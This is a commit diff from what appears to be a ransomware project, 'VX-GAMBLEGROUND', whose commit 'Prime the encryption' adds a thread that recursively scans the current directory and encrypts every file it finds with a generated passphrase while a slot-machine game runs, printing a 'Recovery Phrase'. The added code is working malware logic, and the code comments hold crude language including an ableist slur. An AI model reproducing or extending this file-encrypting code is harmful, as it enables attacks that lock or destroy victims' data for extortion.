summaryrefslogtreecommitdiff
path: root/src/VX-GAMBLEGROUND.c
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2024-08-31 01:56:44 -0500
committer@syxhe <https://t.me/syxhe>2024-08-31 01:56:44 -0500
commit17926756a0dc4b543bf99d887dec16593be158f1 (patch)
tree72d96b1324eff7ec6fed0c53247f301e9babafba /src/VX-GAMBLEGROUND.c
parente51f37f52c4452be1c2cacf5969e6d754eaecc70 (diff)
Prime the encryption
Diffstat (limited to 'src/VX-GAMBLEGROUND.c')
-rw-r--r--src/VX-GAMBLEGROUND.c40
1 files changed, 36 insertions, 4 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index c01ee5c..c513c46 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -89,7 +89,7 @@ int genphrase(char *phrase, size_t phrasesize) {
89 phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A'; 89 phrase[i] = randombytes_uniform('Z' - 'A' + 1) + 'A';
90 phrase[phrasesize] = '\0'; 90 phrase[phrasesize] = '\0';
91 91
92 printf("%s\n", phrase); 92 printf("Recovery Phrase: %s\n", phrase);
93 93
94 return 0; 94 return 0;
95} 95}
@@ -97,6 +97,8 @@ int genphrase(char *phrase, size_t phrasesize) {
97// roflmao fuck this project i'm too tired to bother with making it nice 97// roflmao fuck this project i'm too tired to bother with making it nice
98int doslots(struct bullshit *stuff) { 98int doslots(struct bullshit *stuff) {
99 // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted 99 // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
100 // No the compiler just complains randomly. Sometimes when I compile it's fine and other times it whines
101 // Gotta love open source
100 stuff->handler = (struct sigaction){ 102 stuff->handler = (struct sigaction){
101 .sa_flags = SA_SIGINFO, 103 .sa_flags = SA_SIGINFO,
102 .sa_mask = SIGINT | SIGWINCH, 104 .sa_mask = SIGINT | SIGWINCH,
@@ -154,6 +156,21 @@ int doslots_twrapper(void *passed) {
154 return doslots((struct bullshit*)passed); 156 return doslots((struct bullshit*)passed);
155} 157}
156 158
159int scanundencrypt(void *passed) {
160 struct sande *p = (struct sande *)passed;
161 p->scanned = scanfiles(p->STARTPATH, p->cmp);
162 if(p->scanned == NULL)
163 error(1, errno, "[VX-GAMBLEGROUND] filescan broke");
164
165 int fd = -1;
166 for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) {
167 fd = open(p2->fullpath, O_WRONLY);
168 passencblock(fd, p->passphrase);
169 close(fd);
170 }
171
172 return 0;
173}
157 174
158int main(int argc, char *argv[]) { 175int main(int argc, char *argv[]) {
159 struct arguments args = { 176 struct arguments args = {
@@ -176,12 +193,16 @@ int main(int argc, char *argv[]) {
176 193
177 194
178 struct bullshit stuff; 195 struct bullshit stuff;
196 struct nodelist *files = NULL;
197 struct sande scanner = {.cmp = alphasort, .STARTPATH = "./", .scanned = files, .passphrase = passphrase};
179 strncpy(stuff.passphrase, passphrase, PHRASESIZE); 198 strncpy(stuff.passphrase, passphrase, PHRASESIZE);
180 thrd_t slots; 199 thrd_t slots, filescan;
200
181 int err; 201 int err;
182 if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) 202 if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
183 error(1, 0, "Thread creation failed: %d", err); 203 error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err);
184 204 if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success)
205 error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err);
185 206
186 // if(args.inputpass != NULL) { 207 // if(args.inputpass != NULL) {
187 // printf("Using input passphrase \"%s\"\n", args.inputpass); 208 // printf("Using input passphrase \"%s\"\n", args.inputpass);
@@ -216,6 +237,17 @@ int main(int argc, char *argv[]) {
216 //*/ 237 //*/
217 238
218 thrd_join(slots, NULL); 239 thrd_join(slots, NULL);
240 thrd_join(filescan, NULL);
241
242 /* The perfectionist in me wants to deal with the producer/consumer problem and have 3 threads running:
243 // One for the slots, one for grabbing new files, and another for encrypting files. As of now, I do not
244 // care enough to bother with doing this and instead just wrote a "wrapper" for the filescan and encrypt
245 // functions. Maybe after a month break or so I might come back and improve this whole thing
246 // (it's a massive piece of shit in multiple places lol) */
247
248 for(struct nodelist *p = files; p != NULL; p = p->next) {
249 printf("%s\n", p->fullpath);
250 }
219 251
220 return 0; 252 return 0;
221} \ No newline at end of file 253} \ No newline at end of file